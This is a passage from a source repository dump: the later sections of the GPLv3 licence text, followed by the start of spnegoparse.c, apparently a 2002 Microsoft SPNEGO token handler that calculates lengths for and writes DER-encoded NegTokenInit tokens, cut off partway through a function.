| permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /spnegotokenhandler/spnegoparse.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002 Microsoft Corporation 2 | // All rights reserved. 3 | // 4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS" 5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED 7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY 8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE. 9 | // 10 | // Date - 10/08/2002 11 | // Author - Sanj Surati 12 | 13 | ///////////////////////////////////////////////////////////// 14 | // 15 | // SPNEGOPARSE.C 16 | // 17 | // SPNEGO Token Handler Source File 18 | // 19 | // Contains implementation of SPNEGO Token parsing functions. 20 | // 21 | ///////////////////////////////////////////////////////////// 22 | 23 | #include 24 | #include 25 | #include 26 | #include "spnego.h" 27 | #include "derparse.h" 28 | #include "spnegoparse.h" 29 | 30 | // 31 | // Defined in DERPARSE.C 32 | // 33 | 34 | extern MECH_OID g_stcMechOIDList[]; 35 | 36 | /**********************************************************************/ 37 | /** **/ 38 | /** **/ 39 | /** **/ 40 | /** **/ 41 | /** Local SPNEGO Helper definitions **/ 42 | /** **/ 43 | /** **/ 44 | /** **/ 45 | /** **/ 46 | /**********************************************************************/ 47 | 48 | 49 | ///////////////////////////////////////////////////////////////////////////// 50 | // 51 | // Function: 52 | // CalculateMinSpnegoInitTokenSize 53 | // 54 | // Parameters: 55 | // [in] nMechTokenLength - Length of the MechToken Element 56 | // [in] nMechListMICLength - Length of the MechListMIC Element 57 | // [in] mechOID - OID for MechList 58 | // [in] nReqFlagsAvailable - Is ContextFlags element available 59 | // [out] pnTokenSize - Filled out with total size of token 60 | // [out] pnInternalTokenLength - Filled out with length minus length 61 | // for initial token. 62 | // 63 | // Returns: 64 | // int Success - SPNEGO_E_SUCCESS 65 | // Failure - SPNEGO API Error code 66 | // 67 | // Comments : 68 | // Calculates the required length for a SPNEGO NegTokenInit token based 69 | // on the supplied variable length values and which elements are present. 70 | // Note that because the lengths can be represented by an arbitrary 71 | // number of bytes in DER encodings, we actually calculate the lengths 72 | // backwards, so we always know how many bytes we will potentially be 73 | // writing out. 74 | // 75 | //////////////////////////////////////////////////////////////////////////// 76 | 77 | int CalculateMinSpnegoInitTokenSize(long nMechTokenLength, 78 | long nMechListMICLength, SPNEGO_MECH_OID mechOid, 79 | int nReqFlagsAvailable, long* pnTokenSize, 80 | long* pnInternalTokenLength) 81 | { 82 | int nReturn = SPNEGO_E_INVALID_LENGTH; 83 | 84 | // Start at 0. 85 | long nTotalLength = 0; 86 | long nTempLength = 0L; 87 | 88 | // We will calculate this by walking the token backwards 89 | 90 | // Start with MIC Element 91 | if (nMechListMICLength > 0L) 92 | { 93 | nTempLength = ASNDerCalcElementLength(nMechListMICLength, NULL); 94 | 95 | // Check for rollover error 96 | if (nTempLength < nMechListMICLength) 97 | { 98 | goto xEndTokenInitLength; 99 | } 100 | 101 | nTotalLength += nTempLength; 102 | } 103 | 104 | // Next is the MechToken 105 | if (nMechTokenLength > 0L) 106 | { 107 | nTempLength += ASNDerCalcElementLength(nMechTokenLength, NULL); 108 | 109 | // Check for rollover error 110 | if (nTempLength < nTotalLength) 111 | { 112 | goto xEndTokenInitLength; 113 | } 114 | 115 | nTotalLength = nTempLength; 116 | } 117 | 118 | // Next is the ReqFlags 119 | if (nReqFlagsAvailable) 120 | { 121 | nTempLength += ASNDerCalcElementLength(SPNEGO_NEGINIT_MAXLEN_REQFLAGS, NULL); 122 | 123 | // Check for rollover error 124 | if (nTempLength < nTotalLength) 125 | { 126 | goto xEndTokenInitLength; 127 | } 128 | 129 | nTotalLength = nTempLength; 130 | } 131 | 132 | // Next is the MechList - This is REQUIRED 133 | nTempLength += ASNDerCalcMechListLength(mechOid, NULL); 134 | 135 | // Check for rollover error 136 | if (nTempLength < nTotalLength) 137 | { 138 | goto xEndTokenInitLength; 139 | } 140 | 141 | nTotalLength = nTempLength; 142 | 143 | // Following four fields are the basic header tokens 144 | 145 | // Sequence Token 146 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L); 147 | 148 | // Check for rollover error 149 | if (nTempLength < nTotalLength) 150 | { 151 | goto xEndTokenInitLength; 152 | } 153 | 154 | nTotalLength = nTempLength; 155 | 156 | // Neg Token Identifier Token 157 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L); 158 | 159 | // Check for rollover error 160 | if (nTempLength < nTotalLength) 161 | { 162 | goto xEndTokenInitLength; 163 | } 164 | 165 | nTotalLength = nTempLength; 166 | 167 | // SPNEGO OID Token 168 | nTempLength += g_stcMechOIDList[spnego_mech_oid_Spnego].iLen; 169 | 170 | // Check for rollover error 171 | if (nTempLength < nTotalLength) 172 | { 173 | goto xEndTokenInitLength; 174 | } 175 | 176 | nTotalLength = nTempLength; 177 | 178 | // App Constructed Token 179 | nTempLength += ASNDerCalcTokenLength(nTotalLength, 0L); 180 | 181 | // Check for rollover error 182 | if (nTempLength < nTotalLength) 183 | { 184 | goto xEndTokenInitLength; 185 | } 186 | 187 | // The internal length doesn't include the number of bytes 188 | // for the initial token 189 | *pnInternalTokenLength = nTotalLength; 190 | nTotalLength = nTempLength; 191 | 192 | // We're done 193 | *pnTokenSize = nTotalLength; 194 | nReturn = SPNEGO_E_SUCCESS; 195 | 196 | xEndTokenInitLength: 197 | 198 | return nReturn; 199 | 200 | } 201 | 202 | ///////////////////////////////////////////////////////////////////////////// 203 | // 204 | // Function: 205 | // CreateSpnegoInitToken 206 | // 207 | // Parameters: 208 | // [in] MechType - OID in MechList 209 | // [in] ucContextFlags - ContextFlags value 210 | // [in] pbMechToken - Mech Token Binary Data 211 | // [in] ulMechTokenLen - Length of Mech Token 212 | // [in] pbMechListMIC - MechListMIC Binary Data 213 | // [in] ulMechListMICn - Length of MechListMIC 214 | // [out] pbTokenData - Buffer to write token into. 215 | // [in] nTokenLength - Length of pbTokenData buffer 216 | // [in] nInternalTokenLength - Length of full token without leading 217 | // token bytes. 218 | // 219 | // Returns: 220 | // int Success - SPNEGO_E_SUCCESS 221 | // Failure - SPNEGO API Error code 222 | // 223 | // Comments : 224 | // Uses DER to fill out pbTokenData with a SPNEGO NegTokenInit Token 225 | // Note that because the lengths can be represented by an arbitrary 226 | // number of bytes in DER encodings, we actually calculate the lengths 227 | // backwards, so we always know how many bytes we will potentially be 228 | // writing out. 229 | // 230 | //////////////////////////////////////////////////////////////////////////// 231 | 232 | int CreateSpnegoInitToken(SPNEGO_MECH_OID MechType, 233 | unsigned char ucContextFlags, unsigned char* pbMechToken, 234 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC, 235 | unsigned long ulMechListMICLen, unsigned char* pbTokenData, 236 | long nTokenLength, long nInternalTokenLength) 237 | { 238 | int nReturn = SPNEGO_E_INVALID_LENGTH; 239 | 240 | // Start at 0. 241 | long nTempLength = 0L; 242 | long nTotalBytesWritten = 0L; 243 | long nInternalLength = 0L; 244 | 245 | unsigned char* pbWriteTokenData = pbTokenData + nTokenLength; 246 | 247 | // Temporary buffer to hold the REQ Flags as BIT String Data 248 | unsigned char abTempReqFlags[SPNEGO_NEGINIT_MAXLEN_REQFLAGS]; 249 | 250 | 251 | // We will write the token out backwards to properly handle the cases 252 | // where the length bytes become adjustable 253 | 254 | // Start with MIC Element 255 | if (ulMechListMICLen > 0L) 256 | { 257 | nTempLength = ASNDerCalcElementLength(ulMechListMICLen, &nInternalLength); 258 | 259 | // Decrease the pbWriteTokenData, now we know the length and 260 | // write it out. 261 | 262 | pbWriteTokenData -= nTempLength; 263 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC, 264 | OCTETSTRING, pbMechListMIC, ulMechListMICLen); 265 | 266 | // Adjust Values and sanity check 267 | nTotalBytesWritten += nTempLength; 268 | nInternalTokenLength -= nTempLength; 269 | 270 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 271 | { 272 | goto xEndWriteNegTokenInit; 273 | } 274 | 275 | } // IF MechListMIC is present 276 | 277 | // Next is the MechToken 278 | if (ulMechTokenLen > 0L) 279 | { 280 | nTempLength = ASNDerCalcElementLength(ulMechTokenLen, &nInternalLength); 281 | 282 | // Decrease the pbWriteTokenData, now we know the length and 283 | // write it out. 284 | pbWriteTokenData -= nTempLength; 285 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGINIT_ELEMENT_MECHTOKEN, 286 | OCTETSTRING, pbMechToken, ulMechTokenLen); 287 | // Adjust Values and sanity check 288 | nTotalBytesWritten += nTempLength; 289 | nInternalTokenLength -= nTempLength; 290 | 291 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 292 | { 293 | goto xEndWriteNegTokenInit; 294 | } 295 | 296 | } // IF MechToken Length is present 297 | 298 | // Next is the ReqFlags 299 | if (ucContextFlags > 0L) 300 | { 301 | 302 | nTempLength = ASNDerCalcElementLength(SPNEGO_NEGINIT_MAXLEN_REQFLAGS, &nInternalLength); 303 | 304 | // We need a byte that indicates how many bits difference between the number 305 | // of bits used in final octet (we only have one) and the max (8) 306 | 307 | abTempReqFlags[0] = SPNEGO_NEGINIT_REQFLAGS_BITDIFF; 308 | abTempReqFlags[1] = ucContextFlags; 309 | 310 | // Decrease the pbWriteTokenData, now we know the length and 311 | // write it out. 312 | pbWriteTokenData -= nTempLength; 313 | nTempLength = ASNDerWriteElement(pbWriteTokenData, SPNEGO_NEGINIT_ELEMENT_REQFLAGS, 314 | BITSTRING, abTempReqFlags, SPNEGO_NEGINIT_MAXLEN_REQFLAGS); 315 | 316 | // Adjust Values and sanity check 317 | nTotalBytesWritten += nTempLength; 318 | nInternalTokenLength -= nTempLength; 319 | 320 | if (nTotalBytesWritten > nTokenLength || nInternalTokenLength < 0) 321 | { 322 | goto xEndWriteNegTokenInit; 323 | } 324 | 325 | } // IF ContextFlags 326 | 327 | // Next is the MechList - This is REQUIRED 328 | nTempLength = ASNDerCalcMechListLength(MechType, &nInternalLength); 329 | 330 | // Decrease the pbWriteTokenData, now we know the length and 331 | // write it out. 332 